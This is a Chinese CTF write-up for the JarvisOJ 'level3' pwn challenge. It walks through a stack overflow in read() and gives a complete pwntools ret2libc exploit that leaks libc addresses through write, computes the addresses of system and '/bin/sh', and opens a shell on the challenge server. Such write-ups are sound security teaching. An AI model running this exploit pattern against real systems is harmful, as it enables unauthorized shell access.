Writeup of level3(Pwn) in JarvisOJ

原创

C0ss4ck 于 2018-02-14 22:07:45 发布 1347 收藏 2
分类专栏： PWN_of_CTF 文章标签： CTF pwn 栈

又拾起了被我搁在一边快一个月的Pwn……（这一个月我被Android逆向拐跑了？）

不扯了，看题。

0x00 checksec

拿到文件先查checksec，得到如下信息：

```
root@kali:~/Desktop/Pwn/level3# checksec level3
[*] '/root/Desktop/Pwn/level3/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

```
root@kali:~/Desktop/Pwn/level3# checksec libc-2.19.so
[*] '/root/Desktop/Pwn/level3/libc-2.19.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

level3没有canary，可以利用栈溢出；栈不可执行（所以不考虑shellcode）；没有开地址随机化；至于libc-2.19.so，必然是开了地址随机化；

0x01 exp logic

用IDA打开level3，看程序逻辑

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

```
ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}
```

进入main函数后先调用vulnerable_function，这里的关键是——调用了read。于是Step1应该是通过read构造栈溢出，栈溢出的目的是执行system("/bin/sh")，但是Alt+T搜了一番发现并没有相关函数与字符串，迷茫……

后来想起来学长说过在libc里面知道了read或者write就能推出system，仿佛有所领悟……

此处的elf和libc.so在elf运行时应当是同时加载到内存中，所以Step2应当是通过一系列操作获取某次运行时system和/bin/sh在内存中的绝对地址（至于这一系列操作……着实卡了我不少时间……后来幸亏找了某位巨佬的wp……才彻底理清思路）至于Step3……复写地址，入门套路。

- Step1:通过vulnerable_function中的read构造栈溢出，并且覆写返回地址为plt中write的地址
- Step2:通过write泄露出read在内存中的绝对地址，并且接着调用vulnerable_function（PS:got中的read保存着read在内存中的真实地址）
- Step3:计算出system和/bin/sh的绝对地址，再通过vulnerable_function构造栈溢出进行覆写
- Success

0x02 exp script

首先写脚本之前应做好准备工作，比如readelf把so文件中几个关键函数和字符串搜一遍

```
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "read@"
   571: 000daf60   125 FUNC    WEAK   DEFAULT   12 __read@@GLIBC_2.0
   705: 0006f220    50 FUNC    GLOBAL DEFAULT   12 _IO_file_read@@GLIBC_2.0
   950: 000daf60   125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
  1166: 000e0c40  1461 FUNC    GLOBAL DEFAULT   12 fts_read@@GLIBC_2.0
  1263: 000ec390    46 FUNC    GLOBAL DEFAULT   12 eventfd_read@@GLIBC_2.7
  1698: 000643a0   259 FUNC    WEAK   DEFAULT   12 fread@@GLIBC_2.0
  2181: 000c3030   204 FUNC    WEAK   DEFAULT   12 pread@@GLIBC_2.1
  2300: 000643a0   259 FUNC    GLOBAL DEFAULT   12 _IO_fread@@GLIBC_2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "system@"
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "exit@"
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   554: 000b5f24    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011c2a0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00126800    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1492: 000f9160    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000f9cd0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2
root@kali:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh"
 16084c /bin/sh
```

筛选之后得到

```
   950: 000daf60   125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
 16084c /bin/sh
```

随后开始写exp

```
from pwn import *
r=remote('pwn2.jarvisoj.com',9879)
e=ELF('./level3')

plt_write=hex(e.plt['write'])
got_read=hex(e.got['read'])
vulfuncadr=hex(e.symbols['vulnerable_function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)
#调用顺序：func1_address+func2_adress+……+func1_argslist+func2_argslist+……
payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args

r.recv()
r.send(payload1)
readadr=hex(u32(r.recv()))#泄露read绝对地址

#   950: 000daf60   125 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.0
#  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
#   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
# 16084c /bin/sh

libc_read=0x000DAF60
offset=int(readadr,16)-libc_read #计算偏移量
sysadr=offset+0x00040310 #system绝对地址
xitadr=offset+0x00033260 #exit绝对地址
bshadr=offset+0x0016084C #binsh绝对地址
payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)

r.send(payload2)
r.interactive()
```

好，成功地把服务器pwn了下来23333，接下来求flag得flag，直接cat flag

0x03 Notes

pwntools基础操作（来自一位大师傅）